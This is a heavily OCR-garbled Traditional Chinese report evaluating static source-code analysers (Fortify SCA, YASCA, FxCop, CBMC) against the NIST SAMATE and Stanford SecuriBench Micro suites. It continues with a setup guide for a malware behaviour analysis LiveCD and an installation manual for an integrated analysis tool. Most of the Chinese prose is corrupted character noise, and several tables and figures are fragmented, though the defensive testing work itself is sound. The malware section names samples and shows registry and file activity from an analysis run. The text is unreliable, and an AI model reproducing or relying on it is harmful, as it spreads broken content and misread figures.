e~ 32| (false positive) & £_& 1 1 (false negative)it & F > ¥ £ 3F 41355 4p§
AER BB o S RE IR e oarTadp iR 0 A RIEE AR B (benchmark suite)
WP LBBEET S 1 B2 WPla A o BRI S Se it sl 2
B RAeAs T B Rl 4 R Rt o R EE AT L HER A A
SET R

7T 4%t Java 12 VBINET 3 » %13 b R4SB A 171 £ > e 7 2 KA
¥5 105 SLEEAR 2

e JavaiFip AR 40T

NIST SAMATE Reference Dataset Project

NIST SAMATE Reference Dataset Project #_d % K& & $ H 7 7 o

NIST(National Institute of Standards and Technology)& = &% > #2538 & 471 & »Tay

i FORE > frh C~ CH+~Java s PHP Rbesl > SR F ~ R 8 G417
1 EARAIERAAT LY > RlavaitAe PR R G 33 LRIETR o B T pIR T AL
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/2»\“ iﬁifﬁ‘}ﬁ*iﬁi /%/H?#?ﬁi’ ¥ iRy ”" Lf‘v\’}'?" B’I‘ﬁ/ﬂ 4 {@fé‘?\'

2% (false positive) &« & # 1! (false negative) -

Stanford SecuriBench Micro

Stanford SecuriBench Micro #_¢ Stanford = ¥ Benjamin Livshits & % £ = &9
T AN IR RN TR o LB L EAEF LY Java BE B A2 hE 2B
ORISR > PG AT Bt TR > HRAsaER A e 3 S F R
Al E S 0 dow] ¢ (aliasing) ~ 5] ~ & f& Java APl % % (Container » 4r Vector
ListArray ~ Hashmap %) ~ f 37 7 545 ~ p* &f(Reflection) ~ HTTP session % % >
FREFL AT EHF BRI R R 4 2 £ R 0 & Stanford
SecuriBench Micro ek & ¥ A ¢ 7 3¢ = % 2/ F Ok en(fE2 5 sink) > — % 2
WRILETZ €PN Z 2RI FIPLF A Ba @B EAPRIRET R AP
BRI A X 2Rk RA 0 £ 7 Command injection ~ SQL injection ~ Cross-site
scripting (XSS) ~ Path manipulation ~ Log forging ~ Write local file » & 3 893 i iB|:#
B™ > & % badcase (#7 BB A2 ¥ Kk 45 /k) ~ good case (£ % > RF)
good case ¥z Z L35 - @ badcase ¥k A IR M EF LA T E KB
Hodra t oo
e Java ek B HF 40T

BB P RIEE T PIER A A 5 good case(# ik )% bad case(F ifs

JF) > good case ¥ Z 2|35 ~ m badcase 5k A d IR o
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™M %% % Fortify SCA ¥2 YASCA # iB| NIST SAMATE Reference Dataset Project
—7‘\ *ﬁl% ““%’;‘ a‘ °

T 5 Good case & HE :

[EZ= 4-81NIST SAMATE Good case 7748

| L '
| ..
Without Vulnerabilities (Total 1313)
m Path Manipulation m Hard coded password = Memory Leak
® Information Leak = Log forging = Command Injection
= SQL Injection m XSS

Fortify SCA # /P| Good case & %
ok 4-17 Fortify SCA FiH] SAMATE Good case 4552
kA dE CaE S L |
13 10 76.92%

Fortify SCA 3% 2_ & lF 78 P
FA%& 4-18Fortify SCA 55252 SAMATE)R & H
*®AL v AR~

Filel ok Path Manipulation
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Hascreds1 ok

Hard coded password

Hascreds2_ ok

Hard coded password

Infol_ok

Path Manipulation

Logforgel ok

Log forging

Logforge2 ok

Log forging

Procl_ok Command Injection
Sqll ok SQL Injection

Xss1l ok XSS

Xss2 ok XSS

YASCA #: iB| Good case & %

ZEHE 4-19YASCA fHll SAMATE Good case 455

tRAEE

EadlE S

SR

13

6

46.15%

YASCA -2 2_ ki 38 F

FH% 4-20YASCA 357 SAMATE JRiF7E H

LN 2L

Filel ok Path Manipulation
Hascreds2 ok Hard coded password
Infol_ok Path Manipulation

Pass_controlflow_good

Hard coded password

Procl_ok

Command Injection

Xss1l ok

XSS

Fortify SCA £2 YASCA # iP| & % v* g1 ¢

342




[E7% 4-82SAMATE Good case fg HI45 B ELds

90.00%
80.00%
70.00% -
60.00% -
50.00% -
40.00% -
30.00% -
20.00% -
10.00% -
0.00% -

76.92%

46.15%

Fortify SCA YASCA

d B ¥ 4v > Fortify SCA £ $. B 352 5 » it F#-1 ¥ 5% i bad case Hcdy (& 5L

—gfuﬂg o

T % Badcase Bk 4 58 > SAMATE tk & = 20 7

[E]7= 4-83NIST SAMATE Bad case 5348

=

| lL .

ILA-A-

1 | = J
0
Vulnerabilities (Total 22 %)
= Path Manipulation m Hard coded Password = Memory Leak
= [nformation Leak = |_og forging = Access Private data
= Command Injection = SQL Injection = Unchecked Exception
= Unsafe Method Invocation m XSS = Weak Crypt Algorithm

Style mismatch
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Fortify SCA #% /P] Bad case & % :

Zet% 4-21Fortify SCA f@lll SAMATE Bad case 455

RABE LSEIE S

Ea ey

20 4

20.00%

Fortify SCA A& 1\ 2_ /G iF 78 P

Fh% 4-22Fortify SCA KAt 2 SAMATE JRlFMH H

& LA

Mem1_bad

Memory leak

Not_using_a_random_IV_with_CBC_mode

Weak Crypt Algorithm

Omitted_break_statement

Omitted break statement

Pass_controlflow _bad1l

Hard coded password

YASCA # P Bad case & % :

F2H& 4-23YASCA 1] SAMATE Bad case 4558

tRAEE A g

SR AL (]

22 12

54.55%

YASCA A ¥ 42 B ik 5 P

FHE 4-24YASCA Rtttz SAMATE JeilHH H

# & LA &5

Infol_bad Path Manipulation
Logforgel bad Log forging
Logforge2 bad Log forging
Mem1_bad Memory leak
Pass_controlflow_bad1l Hard coded password
PathManipulation Path Manipulation
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Resourcelnjection2 Path Manipulation

Resourcelnjection Path Manipulation

Unsafel_bad An unsafe function is used causing the entire
container to exit

Unsafe2_bad An unsafe function is used causing the entire
container to exit

Fortify SCA £ YASCA # iP5 % b i ¢

[E %% 4-84SAMATE Bad case g HI4E 5 EREn

60.00%

50.00%

50.00%

40.00%

30.00%

20.00%

20.00% -

10.00% -

0.00% - T
Fortify SCA YASCA

4 1 )7 v Fortify SCA 4 f& 114 & i3 YASCA » fr % 444 good case *7
TE AR 3 4 4V B IR > Fortify SCA A4 4 47 3 v% #i YASCA 4% 1% (aggresive) » 7]
PiE B A I RGE | F R 0 A YASCA R F R L A A
g e

¥ b s A 45 Fortify SCA £ YASCA A 1136 B 7 4+ YASCA #}”Weak
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cryptography algorithm 245 #2558 ¢ @ % 3 % > et FF H 2 SR o 4o
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e coding style » ¥ it i3 = BEAAF (bug) > Em ERE 2 M RIEF 4 0 B27coding
style 7 3”2 L ¥ A HAF X 2ERF > RFBEEES 2 LR £ HE XA
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B] > YASCA ¥ 4 &_Fortify SCA 7 &_#1 & |

z
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Fa71 & wdR faw 7 ens|dricdy o

Good case # & & F4e T
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B Command Injection m SQL injection m Cross-Site Scripting
B Path Manipulation u Log Forging = Write Local File
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ZF2£& 4-25Fortify SCA @ H] Stanford SecuriBench Micro Good case 455

RABE TR E Ea ey

248 106 42.74%

Fortify SCA :%-2|2_ i ik 78 P

& 4-26Fortify SCA #R¥] >~ Stanford SecuriBench Micro J@EME H

B il 2 Good case # & L
Command Injecr 44 44

SQL Injection 35 35
Cross-Site Scripting 47 8

Path Manipulation 44 4

Log Forging 46 8

Write Line File 32 7

YASCA #: iB| Good case & %

& 4-27YASCA Fg ] Stanford SecuriBench Micro Good case 455

Tl T Eadialy

248 111 44.76%

YASCA 52 2_ K F 78 P

FHE 4-28YASCA 224> Stanford SecuriBench Micro R EIEH

B il 4 Good case # & Bl
Command Injecr 44 44

SQL Injection 35 35
Cross-Site Scripting 47 0

Path Manipulation 44 0
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Log Forging

46

Write Line File

32

32

Fortify SCA £ YASCA # iP| 5% % v i ¢

[E7% 4-86Fortify SCA Bil YASCA f3H Stanford SecuriBench Micro Good case 455-EL#R
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44.00%
43.50%
43.00%
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= Fortify = YASCA

d 12 b A 4752 % ¥ S Fortify SCA 22 YASCA 521 % 4p §E 7
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[&] 3% 4-87Stanford SecuriBench Micro Bad case {5 A4 4E
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100
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Vulnerabilities (Total 645 )

= Command Injection

= Path Manipulation

= SQL injection

= Log Forging

= Cross-Site Scripting

= Write Local File

Fortify SCA & /P| Bad case & % :

k% 4-29Fortify SCA f@Hll Stanford SecuriBench Micro Bad case 455

thA g

Y S

SR

645

59

9.15%

Fortify SCA A ¥ 115 F 78 P

Fh& 4-30Fortify SCA AAg it Stanford SecuriBench Micro JRFEMEH

B il 4 Bad case # & A BE
Command Injecr 117 0

SQL Injection 86 0

Cross-Site Scripting 121 14

Path Manipulation 120 17

Log Forging 120 15

Write Line File 81 13
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RABE e 11 Ea ey

645 361 55.97%

YASCA & 1& 11 iR ik 7 F
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Command Injecr 117 0
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Cross-Site Scripting 121 121

Path Manipulation 120 120

Log Forging 120 120

Write Line File 81 0
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* VB.NET &% #4258 40

I raaEmdedad A kR VBINET 353 A 471 & aipliEtk &
F] 4t i i 5 NIST SAMATE Reference Dataset Project 3£ 8 B3 tk A eh= 38> p 7
B VBNET chp 4078 i thzt » i VBINET 383 efe iRl 1 & A 452 % o b
BAET Y o VBINET 3 3 Rl3## & 4 badcase (i tifiF ) P » % M5k A 71
Bz R¥ AR
 VB.INET thZe % 4

T 7| % & * Fortify SCA 14 2 FxCop # Bl p 37 VB.NET BliEtk A2 sk 5 5% -

F" E] ;T VB NET /FJpé‘*iﬂ-\/% H?A,\LK\FI .

[ 4-89 HET VB.NET s AR 7755

15

10 I | 5 8_
.. - |4 4

5 l Is ll sl [

0 nl il

Vulnerabilities (Total 116 i#)

= Code Correctness toString on Array

m Cookie Security - HTTPOnly not Set

= Cookie Security - Persistent Cookie

m Denial of Service

= Header Manipulation

= | og Forging

= Often Misused File Upload

= Path Manipulation

= Poor Error Handling - Empty Catch Block
= Command Injection

= Cookie Security - Cookie not Sent Over SSL
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A% 4-33Fortify SCA fgfll HET VB.NET JUEEEALE R

& i e B FH B
116 17 14.66%
FxCop B p 37 VB.NET B:ftk A~ 2 5%
et 4-34FxCop F I ET VB.NET HIEEALEIR
TR S At #R L G
116 104 89.66%
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= A e A He
Code Correctness to String on Array 10 0 10
Cookie Security 30 0 30
Denial of Service 6 1 6
Header Manipulation 4 0 4
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Log Forging 4 0 4
Often Misused File Upload 6 0 6
Path Manipulation 6 1 6
Poor Error Handling (Catch blocks) 20 8 20
Command Injection 8 0 0
XSS 14 0 14
SQL Injection 4 0 4
Review deny and permit only usage 4 4 0
KA 116 17 104

d e 3TRRR AR RIS E T B Fortify kR A TR 2 0 F
Roen— B AR SRR F i e sk 0 kS B L FxCop H & RIAR & F o Fortify 4ot 2 6 o
e iEE 0 L R AR RFEYR ¥ B IR Fortify SCA &2 FxCop 357 & iR|  #77
Command injection /& iF ° ¥”Review deny and permit only usage”s8 p @ = > FxCop
¥ 5t 4 Fortify SCA » ¥] FxCop i Coding Style issue ~ Dead lock # & 4 2 Thread 4p
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Analysis Report
Fl Aliasing 3_wrt java:dl
a Unreleased Resource: Stream
. Fortify SCA
a PRAD: Writing to a File
B vasca (71.68%)
Arrays6_crmd_inject java:27
Command Injection

B Fortify SCA (72.67%)

Issue #5:
Name:

Tool Reported:
4 ‘ool Reporte:

Process Control
Certainty:

YASCA
Medium

Detail
o

Unchecked Retumn Valus
B Fortify SCA

Accuracy:

72.67%
4

Process Control

YASCA (72.67%)

The System.getRuntime().exec() function is dangerous because it starts a new process to the passed-in executable. The new process
executes with the same rights as the JVM. User input should always be strictly sanitized before being passed into the exec() function
and avoided completely if possible

References
F] Basic3_xss.java.25 ﬁiﬁlﬁi‘ﬂfﬁ‘éeiﬁﬁiiﬁ conee
4 Cross-Site Scripting: Reflectec
R .5 ———
4 Basic3_xss.java.2l Issue #6:
: : Name: Cross-Site Scripting: Reflected
a Missing Check against Mull Tool Reported: Fortify SCA
. r Dr‘tl")-' SCA Certainty: Critical Accuracy: 93.04%
Summary
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Detail
T B s\ e g WA TR 0 B B W A N el § 4L A
T EAPERLD Sy BRSO g gk 2
_\ 7 L LA t,\ ::
}\‘ | FE? I A

15 wHAR

Tk 4-35 THAEMRATA IR

BC

Bad case #ic#
FN

A ¥ #cE
FP

FgE

Java

355

BC—FN
FP+(BC—FN)



% 4-36)ava o =5 LB [HFHRAERERLE R

Fortify SCA YASCA
ot 84.68% 71.90%
Command injection 72.67% 72.67%
SQL injection 71.07% 71.07%
XSS 93.04%
Path manipulation 96.26%
Log forging 92.92%
Writing local file 90.67% 71.68%

VBINET# 7 1 E wap i pp & 2 % ¢

T 4-37VB.NET 355 T H [ HEMERGER

Fortify SCA FxCop
0,
gt 85.34% 100.00%
Code Correctness to String on Array 100.00%
Cookie Security 100.00%
Denial of Service 83.33%
Header Manipulation 100.00%
Log Forging 100.00%
Often Misused File Upload 100.00%
Path Manipulation 83.33%
Poor Error Handling 60.00%
Command Injection 100.00% 100.00%
XSS 100.00%
SQL Injection 100.00%
Review deny and permit only usage 0.00% 100.00%

A HCET AR L ER T E A % AT ) Fortify SCA~YASCA

CBMC ¥ C3E 7 end1 Ewap i pp F2Eig ¢

Fh% 4-38 C B 5 LE Bl AEMERES
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Fzt 97.88% 65.89% 96.37%

356



Buffer overflow 98.23% 65.83% 96.66%

Format String 72.73% 71.43% 62.50%

Integer overflow 100.00% 100.00%

Race condition 100.00% 50.00%

Error free 94.74% 66.67% 100.00%

hardcoded password 100.00%

Null deference 100.00% 100.00% 83.33%
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SecurityFocus, Microsoft Visual Basic / Visual Studio 'VB T-SQL ' Buffer
Overflow Vulnerability, http://www.securityfocus.com/bid/2521
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Figure 2 * »~ MBA LiveCD> M3 o E® o

& © @ MBAtest [Running] - VirtualBox OSE
Machine Devices Help

ISOLINUX 3.63 Debian-2008-07-15 Copyright (C) 1994-2008 H. Peter Anvin
boot :

20O [Z] Right Ctrl
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Figure 3 i EH 3 5

Custom Live CD

=forcevesa & boot Tive in safe qraphics i mailE
imstall = start the installers direciilng

AT == D = =l ALY TR L=

debug, = boot the Live Sustem withowt splashsand Sshot
membest — Run memtest

hd — boot the fivstphard disk

Fress [Tabl to edit options

Automatic boot 1 280 SECondsts

'(

Bk B S % S

H.
(
=+
[hn

)
=
0N
ph

e

Figure 4 &> Ubuntu % # % =

ubuntu®
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Figure b E#F & w

English s+ Welcome

Espariol Ready to install? Once you answer a few questions, the
Esperanto contents of the live CD can beNpstalled on this

Euskara computer so you can run Cust&i Live at full speed

without the CD.
Francais

Gaeilge
Galego
Hrvatski %
Italiano

Kurdi

Latviski

Lietuviskai

Magyar

Nederlands

Answering the questions should only take a few minutes.

Step 1 of 7

FICERPET o DET - GIR AR

Figure 6 EH&P %3 5

2 @ Install

Where are you?

Select your location, so that the system can use appropriate display conventions
for your country, fetch updates from sites close to you, and set the clock to the
correct local time.

!

vl 5
!(

Region: ‘Asia Zone: \'Taiwan Time v
Step 2 of 7 1| | Back Forward
il \iBasiian ) Foward,
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# X

F D EEEY Layout GER 2 USA) > 2487 - 4 o

Figure T &% mE de -

Keyboard layout

Which layout is most similar to your keyboard?

@ |Suggested option:) USA
Guess keymap:

Choose your own:

USA

You can type into this box to test your new keyboard layout.

\ |
Step3of 7 % 3 m Forwal

Figure 8 &4 2% 5 -

2 @ Install

Prepare disk space

This computer has no operating systems on it.

G G G G e e
M /dev/sdal [ swap (/dev/sda5)
8.2 GB 417.3 MB

Where do you want to put Custom Live?
Install them side by side, choosing between them each startup

I s Erase and use the entire disk I

| 5CSI1(0,0,0) (sda) - 8.6 GB ATA VBOX HARDDISK lLJ

Specify partitions manually (advanced)

e e S St e ey S sty e o e S
@ Custom Live

Step 4 of 7 Quit | Back. y
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Figure 9 i * —%,"

ﬁv](i‘ % o o

Who are you?

What is your name?

| test

What name do you want to use to log in?

|test |

If more than one person will use this computer, you can set up multiple accounts after
installation.

Choose a password to keep your account safe.

Strength: good

What is the name of this computer?

|test-desktop |
This name will be used if you make the computer visible to others on a network.
Log in automatically

@ Require my password to log in

Step 5 of 7

ERT -

Figure 10 &% %

KERRLEH o

Ready to install

Your new operating system will now be installed with the following settings:

Language: English
Keyboard layout: USA
Name: test

Login name: test
Location: Asia/Taipei
Migration Assistant:

If you continue, the changes listed below will be written to the disks.
Otherwise, you will be able to make further changes manually.

WARNING: This will destroy all data on any partitions you have removed as
well as on the partitions that are going to be formatted.

v

Advanced...
Lo Lo [

Step 7 of 7
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HFEL Lk 5 B 100%RF E L

Figure 11 % %72 g o o

Installing system

Creating ext4 file system for /in partition #1 of SCSI1 (0,0,...

[ 5%

HFEL- D xEF Ko La b7 start MBA. sh” #-2 MBA st A % o

Figure 12 2= % #pFrhd g o
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ZAE 2 {h 0 3 T - B TE AR o L G B F A
PR BRI X ELALHE T U TRESHE TLG A o

# §* ramdisk (Optional) :
/etc/fstab # i (T ¥ ke B 5 A BT T > dok 374 £ B
EgpF o e )% e li it kgl - BAHBETE > & MBA a7 B 4o o

ARG A
sudo vim /etc/fstab

Figure 13 #:x vim /etc/fstabd @ -

File Edit View Terminal Help
mba@asdf-desktop:~% sudo vim /etc/fstab |:|

tmpfs /mnt/ramdisk tmpfs defaults, noatime, mode=1777, size=4G 0 0

Figure 14 /etc/fstab B ek & » A7H i=3te chig £ -

File Edit View Terminal Help

/mnt/ramdisk

£1i¢ /mnt/ramdisk FoR &

sudo mkdir -p /mnt/ramdisk
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Figure 15 £]i¢/mnt/ramdisk 35%1% ER G

File Edit View Terminal Help

mba@asdf-desktop:~% sudo mkdir -p /mnt/ramdisk ; mkdir ~/public html ;
[sudo] password for mpa: | |

I3

#{/mnt/ramdisk > ¥ * AT AT RS o

File Edit View Terminal Help

mba@asdf-desktop:~% sudo mount -a ; df
Filesystem Size Used Avail % Mounted on
Jdev/sdal2 376 6.8G 29G .
3.9G 300K 3.9G
3.96 112K 3.90
3.96 84K 3.9G
3.9G 8 3.90
3.96 0 3.96
Jdev/sda7 376 2.2G 336
Jdev/sda6 376 2.2G6 336G
Jdev/sda8 376G 116 256
Jdev/sda9 376G 34G 1.6G
tmpfs 4.08G6 0 4.06
mba@asdf-desktop:~$ |

media/8c355d6b-a5cf-455d-b971-be34daf8f33c
/media/59a65ea0-bfde-4755-88cc- f467The67205

media/7c3dfa92-1409-4ded-9cfl-ed78afbchach
/media/65Td9sb2-cf3f-4f4d-bas7-3afd724315F6
Jmnt/ramdisk

[L= R ¥F)

1
1
1
o
o
7:
7
1
6
e

377



{#R¥#% (Optional) :
hrdk RAGEIF R Y FoF A g foe R FEP DITE kAT 5o 2% K4 LiveCD
o FREAMKIFWET - TpFET A1 grub adp £ 0 Pid 3 B2 en
FREBEES R

sudo update-grub

Figure 17 41* update-grub % { #77 B ¥ HE W -

(w.

File Edit View Terminal Help

mba@asdf-desktop:~; sudo update-grub
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.32-25-generic-pae
Found initrd image: /boot/initrd.img-2.6.32-25-generic-pae
Found memtest86+ image: /boot/memtest86+.bin
Found Windows 7 (loader) on /dev/sdal
Ubuntu 9.84 (9.04) on /dev/sdal®
Ubuntu maverick (development branch) (10.10) on /dev/sda6
Ubuntu maverick (development branch) (18.10) on /dev/sda7
Ubuntu 10.84.1 LTS (10.84) on /dev/sda8
Ubuntu 10.04.1 LTS (1@.84) on /dev/sdad

mba@asdf-desktop:~$ [
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6. ix L p
AHADEEE ($=2F8) ¢
start_MBA. sh eap-3%_-
BAEA 205 B g NIRRT E S o E87 Run in Terminal” - #-§ SR
B K SRAS o kS sudo HABTER BT 1237 o B RABL 15 o g
BRARHFMBA £ 9 Ad o P & N BAATERMRT -

@)J’
=
o)
=
N
e
e
=K

| =
gl
~
“mf~
ey
b

Figure 18 £ #"start_MBA. sh" B 4o34 (7 & #748.5¢ ©

Figure 19 #E# A" #3724 954250

Do you want to run "start MBA.sh",
é or display its contents?

"start MBA.sh" is an executable text file.
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A 1=

% 2 f6 > #3477 Choose a file” #d=- I ¢ IE
FHE LA R E R L R R

FRBR BT AT )RR BT TREHET o A ol

Figure 20 E#Ah 5 e -

® © ® Malware Behavior Analyzer
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Figure 21 E®#MEMRT -

Places  Neme v sz Modfed

Q, search 4 fu.exe 168.1 KB 11/22/2010
3 Recently Used

<& ntdelectcom  759KB 11/22/2010

root @ pic.exe 12MB  11/22/2010

3 File System 4 rewritembr.exe 321.5 KB| 11/22/2010
& v.exe 180.5 KB 11/22/2010
< wow.exe

77.6 KB | 11/22/2010

(o) o] p—
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al:g_—r

open” 2. {§ o #-§ B AnA 4T

189 ¥4 +7 script {7 #c »

~

\m‘

‘~/public_html/index. html”

Figure 22 # =

File Edit View Terminal H
Analyzing /home/mba/Desktop/mba-for-prj/sample/ntdelect.com

char device redirected to

[

& file-s/ome/mb...hemiindex.htmi

p

dev/pts/1
1 77 of 189 dong]

Figure 23 ~ {72 %32 o

CRD)

Report for logs/ntdelect.com.log

L) Atrdiken

2

&3

s|
er/? ced/Folder/Hidden ' nit

BOTH:+ > HKEY_LOCAL_MACHINE/SOFTWARE/Mi Tentver:

/SHOWALL/CheckedValue 01000000[4] qemucmd dump_mem /mnt/ramdisk/memdump0

OUT :+ >07c508 =r0_in exec winReg.exe -R HKEY LOCAL MACHINE\SYSTEM\ControlSet001\Services

OUT :+ > HKEY_CURRENT_USER/SOFTWARE/Mic C! C:AWINDOWS\system32 ' =r0_in exec winReg.exe -R HKEY_LOCAL_MACHINE\SOFTW; -\RF\\ﬁrrumﬂ\\\mdn\vs\(‘un’enl\ ersion\Run
\kavo.exe =r0_in exec winReg.exe -R HKEY LOCAL MACHINE\SOFTW. ent

\Runonee

//$Bitmap =r0_in exec winReg.exe -R HKEY_LOCAL_MACHINE\SOFTWARE\MicrosofttWindows\CurrentVersion

/D ts and L dat \RunOnceEx

D ts and ocal § y/History.IES/index.dat =r0_in exec winReg.exe -R HKEY LOCAL MACHINE\SOFTWARE\MicrosoftiWindows\CurrentVersion

/Dorumean and Semngs/dsns/Loml Settings/Temporary Internet Files/Content.IE5/index.dat \RunServices

ts and Si 1 Settings/Temp, g
/Documents and smungsldsmml SER.DAT
/Documents and Settings/dsns/NTUSER.DAT.LOG
//$LogFile
/ISMFT
JISMFT:N/A
* FORPHAN FILE-/lang-1048.dll
* FORPHAN_FILE-flang-1110.dll
/WINDOWS/SoftwareDistribution/Data Store/DataStore.edb
/WINDOWS/S: ogs/edb.log
JWINDOWS/SoftwareDistribution/DataStore/Logstmp.edb
/WINDOWS/system32/config/AppEvent Evt
/WINDOWS/system32/config/software
/WINDOWS/system32/config/software.LOG
WINDOWS/system32/config/SysEvent.Evt
/WINDOWS/system32/config/system
/WINDOWS/system32/config/system.LOG
/WINDOWS/system32/kavo0.dll
/WINDOWS/system32/kavo.exe
/WINDOWS/WindowsUpdate.log

Driver Diff Scanning
wincab.sys 0x00fbed3000 0x006000 \??\C:\WINDOWS\system32\wincab.sys

=r0_in exec winReg.exe -R HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

\RunServicesEx

=r0_in exec winReg.exe -R HKEY_LOCAL_MACHINE\SOFTW} S T
\Explorer

ntVersion

=r0_in exec winReg.exe -R HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Internet Explorer

ERS\.DEFAULT\S

=r0_in exec winReg.exe -R HKE
\Explorer
=r0_in exec winReg.exe -R HKEY USERS\DEFAULT\Software\Microsoftiinternet Explorer

=r0_in exec winReg.exe -R HKEY CURRENT USER\S Cur

=r0_in exec winReg.exe -R HKEY CURRENT USE ur Onc
=r0_in exec winReg.exe -R HKEY CURRENT USER\S Vindows\CurrentVer
\RunServicesEx

=r0_in exec winReg.exe -R HKEY CURRENT USE \Mic ws\CurrentVersion
\RunServicesOnce

=10_in exec winReg.exe -R HKEY CURRENT USE \CurrentVe er
=r0_in exec winReg.exe - URRENT_USER\Software\Microsoft\internet Explorer

=10_in exec winReg.exe - TentV

=r0_in exec winReg.exe - Cur Once
=r0_in exec winReg.exe Tent ices
=r0_in exec winReg.exe - USERS\SOFTWARE\N s\Cur

=r0_in exec winReg.exe - USERS\SOFTY urrent OnceEx
=r0_in exec winReg.exe -R HKEY_USERS\SOFTWARE Vindows\CurrentV icesE:

5 Mozilla Firefox

=r0_in exec winReg.exe -R HKEY USERS\SOFTW. '\RE\_VIlcmsoft\‘v\mdu\\, s\CurrentVersion
Onea
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8. {4 B—E & RipBAIT1 LXKz fivLp

Integrated Source Code Analysis Tool
(ISCA)
X REFiTEp

FAASE 2 hPIHELATT 2
—¢ L EF Y RIF 4 F

2010/12/21
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I Integrated Source Code Analysis Tool f§ 4

1.1 pen
Integrated Source Code Analysis Tool (7 = #£ ISCA) & — # & B4/ % 2
BT 50 & & Fortify SCA ~ YASCA ~ Microsoft FxCop ~ CBMC % » 78 # it
bt 1 R o BB e pRIES QHET I - SRFLIELPHEL - 2R
FARERFES R T ERL A6 L0 AFRAHNVISCALFFRE -7

B R AL LA (R LT 2R
ARV B Fg FEre4eiig oo i 4 2?‘ ob A K o

ISCA 2 & P r’ﬁ"fﬂ? 2RAWRI > L 2 7R & (code quality)te iRl 0
A2 \P“:t'n«%" v R TR SRR i @En__ﬁfﬁg(bug) v iEm A2
I e

1.2 Aseg R
* Windows XP Professional ~ Windows 7 Enterprise -
£ Windows 7 Professional [1]
* Java Runtime Environment (JRE) 1.6 5= 12+ [2]
* Fortify SCAv2.6.5
* Visual Studio 2008 [3]
*gce & g++ [4]
* Microsoft FxCop 1.36

[1] @ b iv# kiuplE= 2 > ISCA S R B ST AT H B ivE ki
4o Linux °

[2] 4-Z 12 2 ISCA R 445 > % & * Java Development Toolkit (JDK) 1.6 w12 + >
¥ 45 fie Eclipse RCP (Rich Client Platform) IDE -

[3] Visual Studio 2005 ~ 2003 & jB|3# °

[4] Z& & * & % 5 (1) Dev-C++ £ (2) MinGW » A& = £ 12 Dev-C++ 5 & o
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I1. Integrated Source Code Analysis Tool

AR oA w42 L8 ISCA & i %
X 7 F’%p';gvﬁ‘ﬁ%@

2.1 Visual Studio 2008

% 25—

» 1R X

* X
2z »~ Visual Studio 2008 =

Studio 2008

i Yisual Studio 2008 SE3EF5L

Microsoft®

¥« Visual Studio 2008

w 58 Vsl Studin 2008 Ijnﬁhaiuz?:n:fh

DI aEhEEIRTE _ )
Sl P ERHINA IR IR  FEIR Vil Stodin 2008 BESEEEEHE
= FhBRIThEE -

& EARE

B R TaEAR FIN A 4k
% 48 423 Windows XP Professional 3 &1 o

et
MSAN  ZEEET | o 5658 MSDN Libraoy -

(emEEeRy | | #2@ |

ZkE > EH X F Visual

m Microsoft ¥isual Studio 2008

Microsoft*

* o Visual Studio 2008

Ll S S
AT LSRR Visal Sodin 3

TR - SRR [T —28 |4 -

F0E A Microsoft Yisual Stedio 2008 Sr3EH55E -
JE R & RIS R B E T TOR RL FEm AR -

SESERREE-R EERA
Microsoft - SR SR T MEMEHTAN -

[ M A i EaetBRR s Microsoft Corporation(S)

U INFEEHEE ¢ ST R ER

Microsoft®

V|sual Studlo 2008

< b#0 | PEEN

Bt
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1 Fortify SCA # B VB.NET Z £ % %t Visual Studio 2

W Hicrosoft Visual Studio 2008 ZEEL - #2458

Microsoft*

* o Visual Studio 2008

L g%ﬂﬁﬂiﬁ!ﬁlﬁi » BERNETRRE
u =

G RERNEERIOFETALERLSY
o Micosoft Windoes Installer 3.1

v’ i) IR T RIS
Microsoft NET Framework 3.5
»  Micmosft Document Explorer 2008
+  Microsoft Documnent Explover 2008 535250 - SHgP

+  Microsoft Visual Stodio Web SRR
+  Microsoft Tisual Stodio 2008

%E%Eméfﬁ@%ﬁﬂﬁmlgu‘%ﬁiﬁ » BIlTRats=

wEFER

Eﬁh‘ T VB BERE A AR ER O PR B AR IR R - AR H g

HEARER o B IEE T -

MICROSOFT BRI
MICRCGCFT VIRUAL S TODIO 2008 PROFESSICNAL RE RS FIRE

FISHEITHEZERES Micwsolt
R

FRHERETFE T BAPR Moot 27 ELHRRRE - T ﬁFﬁ.ﬁﬂf
FEERTHIBATIE) -2 RRTAR LS Whalh « s T RN LE IR I (R « iELE A R
BRI N - B AR PETERIEE CIRERGE - SRS

~

~

SHi% PAGE DOWN * LAESESER &3 -

CROEFEHETRELHPHES )
O BT EXEEASPRERD)

BB R:

AT

|sslab-scanmner

BT RS ST y_ kg
i A
E Microsoft ¥isual Studio 2008 SF3EE 5L - SEER

Microsoft*

¥ o Visual Studio 2008

Om®
FIER LI

Ot
TSR

[o]=H|
B TR IER R RThe

RHEEFET

THEG

EFEEEE - TR E TR AR

m—
EREEIER)

‘C “Program FileshMicrosoft Visual Studio 9.04% | I
[t S
THIRE BEpRF TR FRERIER TR
C 58.6 GB S05GHE 38GE 46.7 GB
D 195.3GB 195.2GE 283 MB 1949 GB
t—smp] [ ==0_) [
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BBz EFLTE FRFO30 A 0 AR .

B8 Microsoft Visual Studio 2008 Z325% - £HE

Microsoft*

¥ Visual Studio 2008 zseiest

EELH: [— '
& Microsoft NET Framework 3.

~
= e {#F .NET Compact Framework
g‘:s 2& windows Mobile RIFER2

o FEER{TENREIEEN - EREMIETR
BRIAERES

o BURBTEHBETEIERINE LR
T Web FERTETL

|

IEFERET Microsoft NET Framework 3.5

( ) |

|

ke
5]

|
=
g
E e

I Microsoft Yisual Studio 2008 35 - AT

Microsoft*

¥ o Visual Studio 2008 zsrest

@ Vlsual Studio ZHAE TR -

Visual Studio 2008 B33t - B3

EFESEE MSDN Library for Visual Studio 2008 » 330772080t
[MSDN] EHE0AT setup exe » 3 F & MSON Library Express B «

D aEm:

ERCES RS BEERENETE 2 MISTHEREINETEN - 5k
windows Update #856 http://windowsupdate.microsoft.com » S3%
EETRTEEN « dEthE pIAE Windows XP - Windows Server 2003 0
Vista M -

o HIEERERLLEEN D Microsoft Update BBSE « DIFERSMES
E SRR Microsoft EREIFTE AT AER - A5 EREREE
ahi httpi/fupdate.microsoft. com/microsoftupdate =

<E—#F B

#H Z; e : Visual Studio % X = = |
H I 1K T Visual C++5n:F E Ap M Ik » %] CBMC % %‘g
4 Visual C++.5Eu€¥$(cl.exe)f%24igﬁ%ﬁiﬁ'l 0
5.1 #{[Visual Studio p 4]\ Common7\ p 47 >
msobj80.dIl » mspdb80.dll » mspdbcore.dll » mspdbsrv.exe = & 4% %
